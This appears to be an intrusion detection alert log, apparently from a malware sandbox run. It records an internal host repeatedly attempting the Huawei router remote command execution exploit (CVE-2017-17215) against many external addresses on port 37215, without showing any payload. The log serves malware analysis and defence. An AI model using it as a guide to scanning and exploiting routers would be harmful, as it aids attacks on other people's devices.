SID:	2829579
Source Port:	48468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.132.238

Timestamp:	02/19/24-18:38:08.990679
SID:	2835222
Source Port:	49446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.68.80

Timestamp:	02/19/24-18:36:23.332331
SID:	2829579
Source Port:	57150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.105.101

Timestamp:	02/19/24-18:38:01.392235
SID:	2829579
Source Port:	50222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.143.94

Timestamp:	02/19/24-18:37:40.432250
SID:	2835222
Source Port:	46782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.197.189

Timestamp:	02/19/24-18:38:20.957301
SID:	2835222
Source Port:	52842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.174.145

Timestamp:	02/19/24-18:38:17.234988
SID:	2835222
Source Port:	37350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.117.144.54

Timestamp:	02/19/24-18:37:48.111821
SID:	2829579
Source Port:	38758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.112.24

Timestamp:	02/19/24-18:36:46.831579
SID:	2835222
Source Port:	60470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.213.246

Timestamp:	02/19/24-18:37:01.125715
SID:	2829579
Source Port:	33434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.190.38

Timestamp:	02/19/24-18:37:48.124470
SID:	2835222
Source Port:	51252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.100.28

Timestamp:	02/19/24-18:38:01.112819
SID:	2835222
Source Port:	38754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.33.253

Timestamp:	02/19/24-18:36:22.313212
SID:	2835222
Source Port:	48622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.247.16.223

Timestamp:	02/19/24-18:37:59.788812
SID:	2835222
Source Port:	60034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.43.233.31

Timestamp:	02/19/24-18:37:47.987549
SID:	2835222
Source Port:	36768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.133.59

Timestamp:	02/19/24-18:36:46.832311
SID:	2835222
Source Port:	48374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.236.4

Timestamp:	02/19/24-18:38:17.236251
SID:	2829579
Source Port:	54980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.16.31.14

Timestamp:	02/19/24-18:37:41.580538
SID:	2835222
Source Port:	35852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.129.81

Timestamp:	02/19/24-18:38:06.104058
SID:	2835222
Source Port:	39678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.58.107

Timestamp:	02/19/24-18:37:31.122851
SID:	2835222
Source Port:	51564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.225.214

Timestamp:	02/19/24-18:37:27.874343
SID:	2829579
Source Port:	36500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.2.253

Timestamp:	02/19/24-18:36:22.313115
SID:	2829579
Source Port:	52530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.70.165

Timestamp:	02/19/24-18:36:23.331728
SID:	2829579
Source Port:	59322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.40.55

Timestamp:	02/19/24-18:37:48.304598
SID:	2835222
Source Port:	55334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.0.163

Timestamp:	02/19/24-18:38:01.392425
SID:	2835222
Source Port:	35322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.170.243

Timestamp:	02/19/24-18:38:06.100059
SID:	2835222
Source Port:	43680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.187.117.159

Timestamp:	02/19/24-18:36:46.830721
SID:	2829579
Source Port:	51682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.221.50

Timestamp:	02/19/24-18:38:01.392101
SID:	2829579
Source Port:	34002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.240.143

Timestamp:	02/19/24-18:38:20.944064
SID:	2829579
Source Port:	50494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.122.188

Timestamp:	02/19/24-18:37:48.304795
SID:	2835222
Source Port:	48912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.247.23.82

Timestamp:	02/19/24-18:37:59.789214
SID:	2835222
Source Port:	46088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.237.232

Timestamp:	02/19/24-18:38:01.393297
SID:	2829579
Source Port:	39772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.144.36

Timestamp:	02/19/24-18:38:06.098386
SID:	2829579
Source Port:	47902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.187.105.98

Timestamp:	02/19/24-18:38:01.392697
SID:	2829579
Source Port:	54212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.235.149

Timestamp:	02/19/24-18:37:31.125741
SID:	2829579
Source Port:	59494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.240.45

Timestamp:	02/19/24-18:37:27.869894
SID:	2835222
Source Port:	43056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.146.110

Timestamp:	02/19/24-18:37:27.870862
SID:	2835222
Source Port:	41830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.184.59

Timestamp:	02/19/24-18:38:01.391772
SID:	2835222
Source Port:	40136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.137.1

Timestamp:	02/19/24-18:36:46.831953
SID:	2835222
Source Port:	43922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.31.100

Timestamp:	02/19/24-18:37:31.136147
SID:	2835222
Source Port:	50608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.60.40.19

Timestamp:	02/19/24-18:37:48.744971
SID:	2835222
Source Port:	36046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.125.57.190

Timestamp:	02/19/24-18:37:24.772454
SID:	2829579
Source Port:	54812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.220.112

Timestamp:	02/19/24-18:38:20.956603
SID:	2835222
Source Port:	40158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.235.98.203

Timestamp:	02/19/24-18:37:59.640505
SID:	2829579
Source Port:	38626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.144.8

Timestamp:	02/19/24-18:37:48.304431
SID:	2835222
Source Port:	39586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.28.213

Timestamp:	02/19/24-18:36:23.331311
SID:	2829579
Source Port:	33910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.185.147

Timestamp:	02/19/24-18:37:02.129826
SID:	2835222
Source Port:	37658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.98.209

Timestamp:	02/19/24-18:36:28.360286
SID:	2829579
Source Port:	33368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.25.14

Timestamp:	02/19/24-18:38:01.393139
SID:	2835222
Source Port:	44154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.188.221

Timestamp:	02/19/24-18:36:29.348712
SID:	2835222
Source Port:	38408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.222.118

Timestamp:	02/19/24-18:38:20.943546
SID:	2829579
Source Port:	51258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.16.14.162

Timestamp:	02/19/24-18:37:55.352225
SID:	2829579
Source Port:	38898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.55.98

Timestamp:	02/19/24-18:37:27.872695
SID:	2829579
Source Port:	42396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.74.194

Timestamp:	02/19/24-18:38:06.101195
SID:	2829579
Source Port:	56286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.39.224

Timestamp:	02/19/24-18:38:17.235414
SID:	2829579
Source Port:	55114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.86.147

Timestamp:	02/19/24-18:37:15.415533
SID:	2835222
Source Port:	48098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.33.241.60

Timestamp:	02/19/24-18:37:48.992514
SID:	2835222
Source Port:	47998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.52.235

Timestamp:	02/19/24-18:36:44.376150
SID:	2835222
Source Port:	44802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.50.38

Timestamp:	02/19/24-18:37:15.415619
SID:	2829579
Source Port:	34642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.102.230

Timestamp:	02/19/24-18:36:44.148023
SID:	2835222
Source Port:	36922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.115.58

Timestamp:	02/19/24-18:38:20.950278
SID:	2835222
Source Port:	48386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.127.137

Timestamp:	02/19/24-18:36:46.844374
SID:	2829579
Source Port:	38746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.114.75.245

Timestamp:	02/19/24-18:37:01.248474
SID:	2829579
Source Port:	45206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.75.116

Timestamp:	02/19/24-18:38:17.236101
SID:	2835222
Source Port:	53366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.39.20

Timestamp:	02/19/24-18:36:44.147451
SID:	2829579
Source Port:	40088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.82.183

Timestamp:	02/19/24-18:38:08.990550
SID:	2829579
Source Port:	45790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 181.177.251.236

Timestamp:	02/19/24-18:37:16.804937
SID:	2829579
Source Port:	49790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.138.70.10

Timestamp:	02/19/24-18:37:26.604892
SID:	2835222
Source Port:	42600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.187.29.3

Timestamp:	02/19/24-18:37:48.303693
SID:	2835222
Source Port:	41982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.235.96.175

Timestamp:	02/19/24-18:38:00.738474
SID:	2835222
Source Port:	46906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.77.121

Timestamp:	02/19/24-18:37:01.158350
SID:	2835222
Source Port:	48274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.31.62

Timestamp:	02/19/24-18:36:23.331824
SID:	2829579
Source Port:	47188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.126.229.67

Timestamp:	02/19/24-18:36:39.594608
SID:	2829579
Source Port:	39466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.146.241

Timestamp:	02/19/24-18:38:06.098654
SID:	2829579
Source Port:	53036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.81.139

Timestamp:	02/19/24-18:36:29.348967
SID:	2829579
Source Port:	35198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.72.255.211

Timestamp:	02/19/24-18:38:03.199806
SID:	2829579
Source Port:	45930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.188.41

Timestamp:	02/19/24-18:36:23.332224
SID:	2835222
Source Port:	37518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.172.112.143

Timestamp:	02/19/24-18:36:28.792669
SID:	2829579
Source Port:	49420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.140.95

Timestamp:	02/19/24-18:37:28.048667
SID:	2835222
Source Port:	50784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.26.224

Timestamp:	02/19/24-18:36:23.331538
SID:	2829579
Source Port:	37130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.178.194

Timestamp:	02/19/24-18:37:24.711508
SID:	2835222
Source Port:	49738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.46.88

Timestamp:	02/19/24-18:37:48.304070
SID:	2835222
Source Port:	41018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.3.84

Timestamp:	02/19/24-18:38:08.999237
SID:	2835222
Source Port:	58538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.147.25

Timestamp:	02/19/24-18:37:01.125255
SID:	2835222
Source Port:	46264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.15.206

Timestamp:	02/19/24-18:36:44.152582
SID:	2829579
Source Port:	34924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.195.113.27

Timestamp:	02/19/24-18:37:31.345171
SID:	2829579
Source Port:	48042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.128.44

Timestamp:	02/19/24-18:37:40.432370
SID:	2829579
Source Port:	52862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.14.96

Timestamp:	02/19/24-18:38:01.391626
SID:	2835222
Source Port:	40304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.127.163.157

Timestamp:	02/19/24-18:36:28.734030
SID:	2829579
Source Port:	43724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.247.20.236

Timestamp:	02/19/24-18:36:49.859221
SID:	2835222
Source Port:	47242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.72.210.119

Timestamp:	02/19/24-18:37:04.406041
SID:	2829579
Source Port:	33600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.116.17

Timestamp:	02/19/24-18:38:17.235187
SID:	2835222
Source Port:	59030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.120.235

Timestamp:	02/19/24-18:37:15.415918
SID:	2829579
Source Port:	57656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.238.159

Timestamp:	02/19/24-18:38:01.392563
SID:	2829579
Source Port:	55612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.37.193

Timestamp:	02/19/24-18:38:20.949334
SID:	2829579
Source Port:	55268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.80.249

Timestamp:	02/19/24-18:36:55.646616
SID:	2829579
Source Port:	45448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.187.114.238

Timestamp:	02/19/24-18:36:46.830139
SID:	2829579
Source Port:	47518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.241.149

Timestamp:	02/19/24-18:36:23.331928
SID:	2829579
Source Port:	51308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.30.75

Timestamp:	02/19/24-18:36:44.399827
SID:	2835222
Source Port:	57198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.251.205

Timestamp:	02/19/24-18:36:28.359592
SID:	2835222
Source Port:	48816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.67.93

Timestamp:	02/19/24-18:36:28.361652
SID:	2829579
Source Port:	52076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.115.241.43

Timestamp:	02/19/24-18:38:16.357172
SID:	2835222
Source Port:	50444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.224.8.94

Timestamp:	02/19/24-18:38:00.828840
SID:	2829579
Source Port:	36628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.111.123

Timestamp:	02/19/24-18:36:22.312633
SID:	2829579
Source Port:	59224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

